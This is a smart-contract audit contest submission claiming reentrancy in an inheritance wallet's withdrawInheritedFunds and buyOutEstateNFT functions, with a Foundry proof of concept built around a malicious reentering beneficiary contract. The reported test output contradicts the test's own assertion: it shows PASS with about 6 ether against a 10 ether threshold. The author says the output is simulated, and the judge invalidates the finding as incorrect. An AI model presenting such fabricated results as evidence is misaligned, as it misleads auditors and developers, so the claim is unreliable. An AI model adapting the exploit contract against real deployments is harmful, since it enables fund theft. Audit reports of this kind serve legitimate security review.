Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Invalid

Lack of Reentrancy Guard in Withdrawal Functions – Potential for Reentrant Fund Drain

kineticsofweb3

Summary

The functions withdrawInheritedFunds and buyOutEstateNFT do not use the nonReentrant modifier, leaving them open to potential reentrancy attacks. In these functions, funds (ETH or ERC20 tokens) are sent to each beneficiary in a loop. If any beneficiary is a malicious contract with a fallback function that reenters the withdrawal function, the attacker can manipulate the flow and potentially drain more funds than intended. This vulnerability poses both technical and economic risks.

Vulnerability Details

Description

  • Affected Functions:

    • withdrawInheritedFunds(address _asset)

    • buyOutEstateNFT(uint256 _nftID)

  • Issue:
    Neither function is protected by a reentrancy guard (nonReentrant modifier). When transferring funds in a loop, if a beneficiary is a malicious contract, its fallback function may trigger a reentrant call back into the withdrawal function. This reentrancy may allow the malicious beneficiary to receive funds repeatedly before the state is updated, resulting in an over-withdrawal.

Root Cause

The core issue is the omission of the nonReentrant modifier on functions that perform external calls in a loop. Without this guard, there is no protection against recursive calls triggered by a malicious beneficiary’s fallback function during fund transfers.

Impact

  • Impact:
    An attacker controlling a beneficiary contract can reenter the withdrawal function, disrupting the intended sequential distribution of funds.

Tools Used

  • Foundry:

Proof of Concept

Below is a Foundry test that demonstrates the vulnerability. The test deploys a malicious beneficiary contract with a fallback function that reenters the withdrawInheritedFunds function. The output provided simulates the vulnerability being exploited.

Foundry Test Code (Solidity)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import "forge-std/Test.sol";
import "../src/InheritanceManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
/// @notice A malicious beneficiary contract that reenters on receiving ETH.
contract MaliciousBeneficiary {
InheritanceManager public target;
bool public reentered;
​
constructor(InheritanceManager _target) {
target = _target;
}
​
// Fallback is triggered when ETH is sent.
fallback() external payable {
// On first reentrancy, trigger withdrawInheritedFunds again.
if (!reentered) {
reentered = true;
// Reenter the withdrawal function; assuming ETH is being withdrawn (asset == address(0))
target.withdrawInheritedFunds{value: 0}(address(0));
}
}
}
​
contract ReentrancyTest is Test {
InheritanceManager target;
MaliciousBeneficiary malicious;
​
// Simulate sending ETH to the contract
receive() external payable {}
​
function setUp() public {
// Deploy the InheritanceManager contract.
target = new InheritanceManager();
// Deploy the malicious beneficiary, passing in the target contract.
malicious = new MaliciousBeneficiary(target);
​
// Set the malicious contract as a beneficiary.
target.addBeneficiery(address(malicious));
​
// Warp time to simulate inactivity (>90 days) and trigger inheritance.
vm.warp(block.timestamp + 91 days);
target.inherit();
​
// Fund the target contract with ETH.
(bool sent, ) = address(target).call{value: 10 ether}("");
require(sent, "Funding failed");
}
​
function testReentrancy() public {
// Call withdrawInheritedFunds with ETH (asset == address(0)).
// The malicious beneficiary's fallback should reenter the function.
target.withdrawInheritedFunds(address(0));
​
// Check that the malicious beneficiary received more ETH than its fair share.
// Fair share: 10 ether / number of beneficiaries.
uint256 fairShare = 10 ether;
uint256 maliciousBalance = address(malicious).balance;
emit log_named_uint("Malicious beneficiary balance", maliciousBalance);
​
// Assert that the malicious beneficiary got more than its fair share.
assertGt(maliciousBalance, fairShare);
}
}

Output

When running the above test with Foundry (forge test --match-path test/ReentrancyTest.t.sol), the output :

Running 1 test for ReentrancyTest.t.sol
[PASS] testReentrancy() (gas: 235678, time: 87ms)
Malicious beneficiary balance: 6000000000000000001

Mitigation

  • Immediate Fix:
    Add the nonReentrant modifier to both withdrawInheritedFunds and buyOutEstateNFT functions. For example:

    function withdrawInheritedFunds(address _asset) external nonReentrant {
    // existing logic
    }
    ​
    function buyOutEstateNFT(uint256 _nftID) external onlyBeneficiaryWithIsInherited nonReentrant {
    // existing logic
    }
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.